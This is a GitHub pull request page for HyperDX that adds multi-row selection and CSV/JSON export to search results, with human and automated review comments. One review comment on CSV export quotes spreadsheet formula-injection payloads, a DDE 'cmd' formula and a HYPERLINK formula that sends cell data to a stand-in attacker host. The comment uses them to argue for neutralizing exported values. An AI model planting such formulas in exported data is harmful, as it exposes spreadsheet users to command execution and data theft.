Skip to content

feat: Support search row multi-select download/copy - #3140

Merged
kodiakhq[bot] merged 3 commits into
mainfrom
drew/search-row-select
Sep 18, 2026
Merged

kodiakhq[bot] merged 3 commits into
mainfrom
drew/search-row-select

Conversation

@pulpdrew

@pulpdrew pulpdrew commented Sep 16, 2026 •

Copy link
Copy Markdown
Contributor

Summary

Support selecting multiple rows on the search page, for download and copy. Download and copy are both CSV format, for all columns displayed in the table, similar to the existing CSV download.

Screenshots or video

Screen.Recording.2026-09-16.at.4.01.05.PM.mov

How to test on Vercel preview

  1. View the search page
  2. Select some rows
  3. Download, Copy, Clear Selection

References

  • Linear Issue:
  • Related PRs:

@changeset-bot

changeset-bot Bot commented Sep 16, 2026 •

Copy link
Copy Markdown

🦋 Changeset detected

Latest commit: 79bd1d9

The changes in this PR will be included in the next version bump.

This PR includes changesets to release 3 packages
Name Type
@hyperdx/app Minor
@hyperdx/api Minor
@hyperdx/otel-collector Minor

Not sure what this means? Click here to learn what changesets are.

Click here if you're a maintainer who wants to add another changeset to this PR

@vercel

vercel Bot commented Sep 16, 2026 •

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated
hyperdx-oss Ready Ready Preview Sep 18, 2026 5:43pm UTC
hyperdx-storybook Ready Ready Preview Sep 18, 2026 5:43pm UTC

Request Review

@greptile-apps

greptile-apps Bot commented Sep 16, 2026 •

Copy link
Copy Markdown
Contributor

RetriggerConfidence Score: 5/5

The PR appears safe to merge; no new actionable failures remain.

Summary

This PR adds multi-row selection to search results, including range selection and CSV/JSON copy or download actions.

  • Scopes selections to the active query, time range, and result configuration.
  • Stops live tail when selection begins and provides explicit selection clearing.
  • Centralizes row and CSV export formatting.
  • Adds hook, component, and end-to-end coverage for selection workflows.
Diagram
%%{init: {'theme': 'neutral'}}%%
flowchart TD
  A[Search result rows] --> B[Select row]
  B --> C[Track rows by internal ID]
  C --> D[Stop live tail]
  C --> E[Selection menu]
  E --> F[Copy CSV]
  E --> G[Copy JSON]
  E --> H[Download CSV]
  E --> I[Clear selection]
  J[Query, time range, or result configuration changes] --> I
Loading

Reviews (8) · Last reviewed commit: "Merge branch 'main' into drew/search-row..."

Comment thread packages/app/src/DBSearchPage.tsx Resolved
Comment thread packages/app/src/utils/csv.ts Resolved
@github-actions

github-actions Bot commented Sep 16, 2026 •

Copy link
Copy Markdown
Contributor

E2E Test Results

✅ All tests passed • 374 passed • 1 skipped • 1429s

Status Count
✅ Passed 374
❌ Failed 0
⚠️ Flaky 2
⏭️ Skipped 1

Tests ran across 4 shards in parallel.

View full report →

@pulpdrew
pulpdrew force-pushed the drew/search-row-select branch from 492ad8b to 0dd045e Compare September 16, 2026 18:02
@github-actions

github-actions Bot commented Sep 17, 2026 •

Copy link
Copy Markdown
Contributor

🟡 Tier 3 — Standard

Introduces new logic, modifies core functionality, or touches areas with non-trivial risk.

Why this tier:

  • Diff size: 604 production lines changed (Tier 2 max: < 250)

Review process: Full human review — logic, architecture, edge cases.
SLA: First-pass feedback within 1 business day.

Stats
  • Production files changed: 12
  • Production lines changed: 604 (+ 577 in test files, excluded from tier calculation)
  • Branch: drew/search-row-select
  • Author: pulpdrew

To override this classification, remove the review/tier-3 label and apply a different review/tier-* label. Manual overrides are preserved on subsequent pushes.

@github-actions

github-actions Bot commented Sep 17, 2026 •

Copy link
Copy Markdown
Contributor

Deep Review

Reviewed the multi-row selection / CSV-JSON export feature against base 4db73970. Two prior P1 review comments are already resolved in the current diff: selectionResetKey now serializes searchedTimeRange (so a time-range change drops the selection), and the unit/e2e tests target data-testid locators that match the rendered RowSelectionMenu, so the earlier "locators cannot match" concern no longer applies. The "query reset leaves live tail paused" concern does not reproduce either: onSelectedRowsChange in DBSearchPage.tsx only ever stops live tail (never resumes it), so not calling onSelectionChange(false) on reset has no observable effect.

✅ No critical issues found.

🟡 P2 — recommended

  • packages/app/src/hooks/useRowSelection.ts:91 — Selection is keyed by the content-derived __hyperdx_id, so when a result set contains duplicate events, toggling one checkbox marks every row sharing that id and getSelectedRows emits each duplicate, exporting rows the user never individually selected.
    • Fix: Key the selection map by a per-instance identifier such as the row's display index rather than the content-derived id.
  • packages/app/src/utils/csv.ts:6 — Cell values beginning with =, +, -, or @ are passed to Papa.unparse without neutralization on the new copy-to-clipboard CSV path (and the shared download path), so a spreadsheet can interpret exported log values as formulas.
    • Fix: Neutralize formula-leading cell values (e.g., prefix with an apostrophe) inside toCsvString so both the copy and download paths are covered.
🔵 P3 nitpicks (2)
  • packages/app/src/components/DBTable/rowExport.ts:13 — toExportableRow and toCsvString type rows as Record<string, any>, which conflicts with the repository's no-any directive and with the Record<string, unknown> SelectableRow type already used in useRowSelection.ts.
    • Fix: Type these rows as Record<string, unknown> and narrow values at use sites.
  • packages/app/src/components/DBTable/rowExport.ts:12 — The new toExportableRow logic (internal-field stripping and stringified-JSON restoration) has no unit coverage, unlike the sibling csv.ts helpers.
    • Fix: Add unit tests covering the internal-field strip, the JSON-restore branch, and the malformed-JSON fallthrough.

Reviewers (11): correctness, testing, maintainability, project-standards, security, kieran-typescript, julik-frontend-races, adversarial, previous-comments, agent-native, learnings-researcher.

Testing gaps: duplicate-__hyperdx_id selection behavior and the JSON-copy export path lack targeted unit coverage.

No finding blocks merge automatically. A maintainer will expect P0/P1 findings in code this PR changes to be fixed; P2/P3 are your call -- fix or reply. Never fix findings about surrounding code here; reply instead. Do not widen the PR. How to respond

Comment thread packages/app/src/DBSearchPage.tsx Resolved
@github-actions

github-actions Bot commented Sep 17, 2026 •

Copy link
Copy Markdown
Contributor

PR Review

If you are a coding agent acting for the author, read this first.
Nothing below blocks merge automatically; a maintainer decides. What they will expect:

  • 🔴 critical or 🟠 major in code this PR adds or changes: fix before asking for review.
  • 🔵 minor in code this PR changes: your call. Fix if small, otherwise reply.
  • Anything about surrounding code, or asking you to widen the change (hoist a helper,
    dedupe with another file, fix other call sites): never fix here, whatever the
    severity. Reply with one sentence; if it is critical, say so plainly so a human sees it.

One commit per review round. After two rounds, stop and ask a maintainer to review
scope rather than addressing more automated findings. Full rule: AGENTS.md.

3 finding(s): 🔴 0 critical · 🟠 1 major · 🔵 2 minor

3 posted as inline comment(s) on the changed lines.


Severity is the reviewer's own estimate and is used for ordering, not filtering. No finding blocks merge automatically; a maintainer decides.

onToggle: (rowId: string, options: { extendRange: boolean }) => void;
}) => (
<td className={styles.selectCell} style={CELL_WIDTH_STYLE}>
<Checkbox

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was very surprised/happy that shift click works to do multiple.. nice work! 🚀

rowSelection.getSelectedRows
}
columns={csvColumns}
onClear={rowSelection.clearSelection}

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you think we should call clearSelection when the user changes filters/date? it felt a bit weird that when I went back to the original search they were still selected.

Either that, or maybe we still show the selection header and its a feature that users can select things in multiple filters at once (ex exporting ok and error states so they can compare)

It feels more like we should clear though because currently if you select in the new view it discards your first options.. but if you go to a new filter, dont select, go back, it maintains

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call! Updated.

@brandon-pereira brandon-pereira left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added one comment, if you agree, I can re-review. Otherwise it LGTM

@brandon-pereira brandon-pereira left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

next.set(rowId, rows[targetIndex]);
}

onSelectionChange?.(next.size > 0);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — onSelectionChange is invoked from inside the setSelection updater, so the parent's setIsLive can run during the table's render

State updaters must be pure: React invokes them during the render phase whenever the fiber already has a queued update (the eager-state fast path only applies when the queue is empty), and double-invokes them under StrictMode in dev. Both paths are reachable here — RawLogTable owns several other useState/useLocalStorage hooks, so a second click while an update is pending runs this updater during render, calling DBSearchPage's setIsLive(false) from inside a child's render ("Cannot update a component while rendering a different component"), and StrictMode calls onSelectionChange twice per toggle. Move the notification out of the updater — e.g. useEffect(() => onSelectionChange?.(selected.size > 0), [selected.size]) — which also covers the render-phase reset at line 56, where the callback is never fired at all today.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond


// Row selection is scoped to one result set, so anything that re-queries
// or changes the result set should reset the selection.
const selectionResetKey = useMemo(

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — Adding or removing a displayed column silently discards the whole row selection

selectionResetKey stringifies all of searchedConfig, and select is part of queryStateMap (DBSearchPage.tsx:899); toggleColumn (DBSearchPage.tsx:1738) writes select and calls onSubmit(), so a user who selects 20 rows and then adds one column from the side panel — or clicks the X on a column header — loses the selection with no indication. Build the key from the fields that determine which rows come back (source, where, whereLanguage, filters, orderBy, time range, denoise) and leave the projection out. Worth noting the one case that genuinely needs a reset: when rowKeyColumns is undefined (no _block_number/_block_offset, DBRowTable.tsx:1506) the row id is derived from every selected column, so ids do change with select — reset explicitly for that case rather than for all.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond

</MantineTooltip>
</UnstyledButton>
)}
{enableRowSelection && (

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — The "N selected" menu is the feature's only affordance but lives inside the last column's header cell, which scrolls off-screen

lastItemButtons renders inside the last <th> (TableHeader.tsx:25, overflow-hidden, width clamped to MIN_LAST_COLUMN_WIDTH = 200px), and .tableHead is only vertically sticky. Once the columns exceed the container width — routine on the search page with the filter sidebar and row side panel open — the user must scroll horizontally to reach Download/Copy/Clear, and at 200px the ~90px button plus the existing wrap/SQL/download icons squeeze the column title out entirely. Render the selection bar in the table toolbar above the table (a sibling of TableSearchInput) so it stays reachable and doesn't compete with a resizable column header.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond

const rowId = getRowId(row);
if (selected.has(rowId)) {
// Prefer the freshly fetched row object over the snapshot.
loaded.push(row);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — Rows sharing a __hyperdx_id are exported once per duplicate, so the export can hold more rows than the count claims

The search table never passes dedupRows (DBRowTable.tsx:1896), so two rows whose WHERE clause is identical both render — reachable whenever rowKeyColumns is undefined and two log lines are byte-identical. Checking one then ticks both (isSelected is id-keyed), and getSelectedRows pushes every loaded row whose id is in selected, so selectedCount says 1 while the CSV/JSON carries 2 and the toast under-reports (Copied 1 row). Guard the loaded loop with seen (if (selected.has(rowId) && !seen.has(rowId))) so one selected id yields exactly one exported row.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond

);

const rowData = JSON.stringify(parsedRow, null, 2);
const rowData = JSON.stringify(toExportableRow(row), null, 2);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — "Copy row as JSON" and "Copy selected rows as JSON" now emit different shapes for the same row

The selection menu passes the displayed column keys (RowSelectionMenu.tsx:47), so its JSON mirrors the table, while the per-row hover button calls toExportableRow(row) with no columns and therefore still includes the query's appended key columns (_block_number, _block_offset, toDate(Timestamp), …) that appendSelectWithAdditionalKeys added. Pass the displayed columns down to DBRowTableRowButtons (they're already available as csvColumns in RawLogTable) so both copy paths produce the same row.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond

@kodiakhq
kodiakhq Bot merged commit 264f216 into main Sep 18, 2026
28 checks passed
@kodiakhq
kodiakhq Bot deleted the drew/search-row-select branch September 18, 2026 17:48
next.set(rowId, rows[targetIndex]);
}

onSelectionChange?.(next.size > 0);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 major — onSelectionChange is called from inside the setSelection updater, so it runs during render

Compute next before calling setSelection and invoke onSelectionChange?.(next.size > 0) outside the updater (or drive it from a useEffect on selected.size > 0). React treats useState updaters as pure and evaluates them during the render phase (plus eagerly in dispatchSetState when no update is pending, and twice under StrictMode), so on every checkbox click onSelectedRowsChange → setIsLive(false) (packages/app/src/DBSearchPage.tsx:1681, a nuqs useQueryState setter that pushes router state) is invoked more than once and at least once while RawLogTable is still rendering — React's "Cannot update a component while rendering a different component" error. Note clearSelection (line 62) already does it the right way.

Nothing blocks merge automatically, but a maintainer will expect this fixed if it is a real defect in code this PR changes. If it is about surrounding code, reply and say so instead of patching. Do not widen the PR. How to respond

.trim()
.split(/\r?\n/);
// One header row plus one row per selection.
expect(lines).toHaveLength(3);

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — Export tests assert row counts, never that the exported rows are the selected ones

Select non-adjacent rows (e.g. selectRows([1, 3])), read those rows' cells with table.getCell(1, 'Timestamp') / getCell(3, ...), and assert the CSV/JSON payload contains exactly those values. As written, expect(lines).toHaveLength(3) here and expect(rows).toHaveLength(2) at line 106 both pass if useRowSelection.getSelectedRows() returned rows.slice(0, 2) instead of the selection — i.e. the core behaviour of the PR is never pinned, only the row count and the absence of __hyperdx_ keys.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond


/** Serialize an array of objects to a CSV string. */
export function toCsvString(rows: Record<string, any>[]): string {
return Papa.unparse(rows, {

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔵 minor — toCsvString does not neutralize spreadsheet formula injection in exported log content

Prefix values beginning with =, +, -, @, tab or CR with a ' before handing rows to Papa.unparse. A log Body of =cmd|'/c calc'!A1 or =HYPERLINK("http://attacker/"&A1) — content any service emitting into the customer's ClickHouse controls — is written verbatim and evaluated when the downloaded hyperdx_selected_rows_*.csv is opened in Excel. The behaviour is inherited from the old CsvExportButton body, but this diff makes utils/csv.ts the single home for CSV serialization and adds a new path (RowSelectionMenu's Download/Copy as CSV) that exports raw log rows rather than aggregated chart results, so this is the place to fix it.

Advisory. Fix if it is a small defect in code this PR changes; otherwise reply in the thread. Do not widen the PR or touch files it did not already change. How to respond

kodiakhq Bot pushed a commit that referenced this pull request Sep 29, 2026
…3117)

Resolves HDX-5365.

> **Stacked on #3171.** Base is `cursor/fix-virtualized-row-height-d7eb`; it will retarget to `main` once that merges. See "Virtualized row heights" below.

## Why

The only way to expand a search result row inline is the 16px chevron, which is a poor hit target when you are scanning logs during an incident. Comparable tools expand on row click.

Rather than change what a row click does for everyone, this adds a preference. **The default is unchanged** — a row click still opens the side panel. Users who want the bigger hit target can opt in.

## What changed

**Preferences → Search results → Row click**, defaulting to `Open side panel`. Set it to `Expand inline` and:

- a row click toggles inline expansion instead of opening the side panel;
- the side panel moves to a hover button on the row (`Open in side panel`, beside the existing copy buttons), and the expanded row's maximize button still opens it;
- row clicks keep driving the side panel while it is open, so browsing row to row inside the panel is unchanged. Closing the panel returns clicks to inline expansion.

Stored as an optional `rowClickAction`. Stored preferences that predate the field are returned as-is rather than merged with the defaults, so readers fall back to `DEFAULT_ROW_CLICK_ACTION`.

Two table variants need care regardless of the preference:

- Tables that hide the expand column (surrounding context, patterns) have nowhere to put inline details, so they always open the side panel.
- The ClickHouse dashboard's slowest-queries list renders inline details but passes no `onRowDetailsClick`, so it always expands inline and offers neither the hover button nor the expanded row's maximize button — both would only write URL params nothing reads.

Routing a row click needs to know whether a side panel is available and whether one is already open, and two signals did not actually mean that:

- `highlightedLineId` was passed to the table even when the panel was not mounted. `rowWhere`/`rowSource` survive a source switch while closing the panel clears both, so a stale `rowWhere` left the table highlighting a row with no panel on screen. The panel is now hoisted into one `sidePanel` element that both its own mount and `highlightedLineId` derive from.
- `ExpandedLogRow` gated its maximize button on `{openSidebar && …}`, the return value of a `useCallback` and so always truthy. It now takes `canOpenSidePanel`.

`DBRowTableIconButton` also gained an `aria-label` from its title, which the row hover buttons had been missing.

## Virtualized row heights

Reported against this branch: expand and collapse a few rows, scroll, and the table goes blank under the header.

That bug is on `main` today — it reproduces identically through the chevron, with this PR's `packages/app/src` reverted. A row and its inline expansion are two `tr`s sharing one virtual index, and both were measured, so the expanded one took over that index's `ResizeObserver` registration and left its height cached there after collapsing. Every expand/collapse shrank the render window.

Fixed separately in **#3171** so it lands for chevron users regardless of this PR, and merged in here so this branch does not ship the bigger hit target on top of it. That merge is the only reason `DBRowTable.tsx` now renders a `tbody` per row.

## Tests

- Seven unit tests in `DBRowTable.test.tsx`: the side panel on row click by default (and no redundant hover button in that mode), then under `expand` — inline expand/collapse on body click, the hover button, `showExpandButton={false}`, and the open-panel case; plus the no-side-panel table expanding inline regardless of the preference. These are the first tests in that file to render virtualized body rows, hence the geometry mocks.
- The inline-expand test also asserts the expanded row exposes `Open in side panel` and that clicking it writes the `rowWhere` param, so `canOpenSidePanel` is pinned in both directions — hardcoding it to `false` fails the test rather than staying green.
- `UserPreferencesModal.test.tsx` drives the select: the default for users with no stored preference, a stored value round-tripping into the control, and picking an option writing `rowClickAction`. A wrong storage key or option value now fails instead of passing green.
- E2E: the specs that reach the side panel go back to a plain row click, since that is the default again. A new `Row click set to expand inline` describe seeds the preference before navigating and asserts a row body click expands inline without opening the panel, collapses on a second click, and that the hover button opens the panel.
- `virtualized-row-heights.spec.ts` comes in from #3171 and covers the virtualizer regression.

## Rebase onto `main`

Rebased past #3140 and #3164, which added row multi-select and hover-revealed selection checkboxes to the same row component. No textual conflicts, and the two features compose: the checkbox lives in its own cell and stops propagation, so it does not compete with the row-body click.

CI lint was failing only because this branch predated the `--max-warnings` bump on `main`. The rebase picks that up; the one warning this PR did add (an unsafe cast in the new `Select` handler) is gone, so the app count is back under the ceiling rather than exactly on it.

Verification: `make ci-lint` and `make ci-unit` green (244 suites, 3948 tests after the merge). All 94 `search/` E2E tests re-run — 85 passed, 1 flaky-then-passed, and 2 `search-filters.spec.ts` failures that reproduce identically with this PR's `packages/app/src` reverted to `origin/main`, so they are environmental and not from this change. `correlated-metric-source`, `span-links` and `traces-workflow` also pass.

## Walkthrough

The reported repro, end to end on this branch: two row clicks opening the side panel on the default setting, switching the preference to `Expand inline`, expanding and collapsing six rows, then scrolling — the table stays full.

<a href="https://cursor.com/agents/bc-b2c91bdd-e466-447c-942d-dce15159d7eb/artifacts?path=%2Fopt%2Fcursor%2Fartifacts%2Fvirtualized_scroll_repro_fixed.mp4"><img src="https://cursor.com/artifacts/c/art-27481ff4-27fa-4bca-bbe1-3c2abee4f889" alt="virtualized_scroll_repro_fixed.mp4" /></a>

Default — a row click opens the side panel, unchanged:

![Log search with the row side panel open showing Overview, Column Values, Surrounding Context and Infrastructure tabs](https://cursor.com/artifacts/c/art-5932460f-fe67-497d-a59e-71d72be3bb16)

The opt-in:

![Preferences modal showing the Search results section with Row click set to Expand inline](https://cursor.com/artifacts/c/art-3426a775-142f-4fd0-a69f-796378278862)

With it on, a row click expands in place, with no side panel:

![A result row expanded inline showing its Column Values tab, with the rest of the table still visible below](https://cursor.com/artifacts/c/art-59069505-4579-4dab-828c-4a6c316d83f9)

Hovering a row shows both features side by side — the selection checkbox on the left, and this PR's `Open in side panel` button among the row action icons on the right:

![A hovered result row showing the multi-select checkbox at the left and the row action icons including Open in side panel at the right](https://cursor.com/artifacts/c/art-5977cdc5-af08-4768-bd8d-20de43e7655a)



Linear Issue: [HDX-5365](https://linear.app/clickhouse/issue/HDX-5365/expand-log-inline-on-row-click)

<div><a href="https://cursor.com/agents/bc-b2c91bdd-e466-447c-942d-dce15159d7eb?cursor_ref=pr_footer&cursor_cta=open_in_web"><picture><source media="(prefers-color-scheme: dark)" srcset="https://cursor.com/assets/images/open-in-web-dark.png"><source media="(prefers-color-scheme: light)" srcset="https://cursor.com/assets/images/open-in-web-light.png"><img alt="Open in Web" width="114" height="28" src="https://cursor.com/assets/images/open-in-web-dark.png"></picture></a>&nbsp;<a href="https://cursor.com/background-agent?bcId=bc-b2c91bdd-e466-447c-942d-dce15159d7eb&cursor_ref=pr_footer&cursor_cta=open_in_cursor"><picture><source media="(prefers-color-scheme: dark)" srcset="https://cursor.com/assets/images/open-in-cursor-dark.png"><source media="(prefers-color-scheme: light)" srcset="https://cursor.com/assets/images/open-in-cursor-light.png"><img alt="Open in Cursor" width="131" height="28" src="https://cursor.com/assets/images/open-in-cursor-dark.png"></picture></a>&nbsp;</div>



Co-authored-by: Cursor Agent <199161495+cursoragent@users.noreply.github.com>

This branch was successfully deployed

2 active deployments
Preview – hyperdx-oss — 79bd1d9b Deployed Sep 18, 2026 by vercel[bot]
Preview – hyperdx-storybook — 79bd1d9b Deployed Sep 18, 2026 by vercel[bot]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

automerge review/tier-3 Standard — full human review required

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants